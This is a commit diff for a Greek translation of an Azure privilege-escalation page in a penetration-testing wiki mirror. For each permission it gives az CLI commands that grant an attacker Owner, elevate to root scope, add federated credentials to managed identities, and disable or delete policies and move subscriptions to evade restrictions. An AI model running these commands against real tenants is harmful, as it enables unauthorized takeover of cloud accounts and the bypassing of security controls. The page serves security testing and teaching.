mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+99
-9
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,16 +12,16 @@
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Αυτή η άδεια επιτρέπει την ανάθεση ρόλων σε κύριους σε μια συγκεκριμένη έκταση, επιτρέποντας σε έναν επιτιθέμενο να κλιμακώσει τα προνόμια αναθέτοντας στον εαυτό του έναν πιο προνομιακό ρόλο:
|
||||
Αυτή η άδεια επιτρέπει την ανάθεση roles σε principals σε ένα συγκεκριμένο scope, επιτρέποντας σε έναν attacker να κλιμακώσει τα privileges του αναθέτοντας στον εαυτό του έναν πιο privileged role:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Αυτή η άδεια επιτρέπει την τροποποίηση των αδειών που χορηγούνται από έναν ρόλο, επιτρέποντας σε έναν επιτιθέμενο να κλιμακώσει τα προνόμια χορηγώντας περισσότερες άδειες σε έναν ρόλο που έχει αναθέσει.
|
||||
Αυτό το δικαίωμα επιτρέπει την τροποποίηση των δικαιωμάτων που παρέχονται από έναν ρόλο, επιτρέποντας σε έναν attacker να κλιμακώσει τα προνόμια χορηγώντας περισσότερα δικαιώματα σε έναν ρόλο που έχει αναθέσει.
|
||||
|
||||
Δημιουργήστε το αρχείο `role.json` με το εξής **περιεχόμενο**:
|
||||
Δημιουργήστε το αρχείο `role.json` με το ακόλουθο **περιεχόμενο**:
|
||||
```json
|
||||
{
|
||||
"roleName": "<name of the role>",
|
||||
@@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Στη συνέχεια, ενημερώστε τις άδειες ρόλου με τον προηγούμενο ορισμό καλώντας:
|
||||
Στη συνέχεια ενημερώστε τα δικαιώματα του ρόλου με τον προηγούμενο ορισμό καλώντας:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Αυτή η άδεια επιτρέπει την αναβάθμιση δικαιωμάτων και τη δυνατότητα ανάθεσης αδειών σε οποιονδήποτε κύριο για πόρους Azure. Προορίζεται να δοθεί στους Παγκόσμιους Διαχειριστές Entra ID ώστε να μπορούν επίσης να διαχειρίζονται άδειες για πόρους Azure.
|
||||
Αυτή η άδεια επιτρέπει την ανύψωση προνομίων και τη δυνατότητα ανάθεσης δικαιωμάτων σε οποιοδήποτε principal για Azure resources. Προορίζεται να δοθεί σε Entra ID Global Administrators ώστε να μπορούν επίσης να διαχειρίζονται δικαιώματα για Azure resources.
|
||||
|
||||
> [!TIP]
|
||||
> Νομίζω ότι ο χρήστης πρέπει να είναι Παγκόσμιος Διαχειριστής στο Entra ID για να λειτουργήσει η κλήση αναβάθμισης.
|
||||
> Νομίζω ότι ο χρήστης πρέπει να είναι Global Administrator στο Entra ID για να λειτουργήσει η elevate κλήση.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Αυτή η άδεια επιτρέπει την προσθήκη Ομοσπονδιακών διαπιστευτηρίων σε διαχειριζόμενες ταυτότητες. Π.χ. δίνει πρόσβαση σε Github Actions σε ένα repo σε μια διαχειριζόμενη ταυτότητα. Στη συνέχεια, επιτρέπει να **έχει πρόσβαση σε οποιαδήποτε διαχειριζόμενη ταυτότητα που έχει οριστεί από τον χρήστη**.
|
||||
Αυτή η άδεια επιτρέπει την προσθήκη Federated credentials σε managed identities. Π.χ. να δοθεί σε μια managed identity πρόσβαση για Github Actions σε ένα repo. Στη συνέχεια, επιτρέπει την **πρόσβαση σε οποιαδήποτε managed identity που έχει οριστεί από χρήστη**.
|
||||
|
||||
Παράδειγμα εντολής για να δώσετε πρόσβαση σε ένα repo στο Github σε μια διαχειριζόμενη ταυτότητα:
|
||||
Παράδειγμα εντολής για να δοθεί πρόσβαση σε ένα repo στο Github σε μια managed identity:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `Microsoft.Authorization/policyAssignments/write` ή `Microsoft.Authorization/policyAssignments/delete` σε ένα management group, subscription ή resource group μπορεί να **τροποποιήσει ή διαγράψει τα Azure policy assignments**, ενδεχομένως **απενεργοποιώντας περιορισμούς ασφαλείας** που μπλοκάρουν συγκεκριμένες ενέργειες.
|
||||
|
||||
Αυτό επιτρέπει πρόσβαση σε πόρους ή λειτουργίες που προηγουμένως προστατεύονταν από την πολιτική.
|
||||
|
||||
**Διαγραφή μιας ανάθεσης πολιτικής:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Απενεργοποίηση ανάθεσης πολιτικής:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Επιβεβαιώστε τις αλλαγές:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `Microsoft.Authorization/policyDefinitions/write` μπορεί να **τροποποιήσει τις Azure policy definitions**, αλλάζοντας τους κανόνες που ελέγχουν τους περιορισμούς ασφαλείας σε όλο το περιβάλλον.
|
||||
|
||||
Για παράδειγμα, μια policy που περιορίζει τις επιτρεπόμενες περιοχές για τη δημιουργία resources μπορεί να τροποποιηθεί ώστε να επιτρέπει οποιαδήποτε περιοχή, ή το policy effect μπορεί να αλλάξει ώστε να καταστεί αναποτελεσματικό.
|
||||
|
||||
**Τροποποίηση ενός policy definition:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Επαληθεύστε τις αλλαγές:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Ένας επιτιθέμενος με το δικαίωμα `Microsoft.Management/managementGroups/write` μπορεί να **τροποποιήσει την ιεραρχική δομή των ομάδων διαχείρισης** ή να **δημιουργήσει νέες ομάδες διαχείρισης**, ενδεχομένως παρακάμπτοντας περιοριστικές πολιτικές που εφαρμόζονται σε ανώτερα επίπεδα.
|
||||
|
||||
Για παράδειγμα, ένας επιτιθέμενος μπορεί να δημιουργήσει μια νέα ομάδα διαχείρισης χωρίς περιοριστικές πολιτικές και στη συνέχεια να μετακινήσει σε αυτήν συνδρομές.
|
||||
|
||||
**Δημιουργία νέας ομάδας διαχείρισης:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Τροποποιήστε μια ιεραρχία ομάδας διαχείρισης:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Επιβεβαιώστε τις αλλαγές:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `Microsoft.Management/managementGroups/subscriptions/write` μπορεί να **μετακινήσει subscriptions μεταξύ management groups**, ενδεχομένως **να παρακάμψει περιοριστικές πολιτικές** μετακινώντας μια subscription σε μια ομάδα με λιγότερο περιοριστικές ή χωρίς πολιτικές.
|
||||
|
||||
**Μετακίνηση μιας subscription σε διαφορετικό management group:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Επιβεβαιώστε τις αλλαγές:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user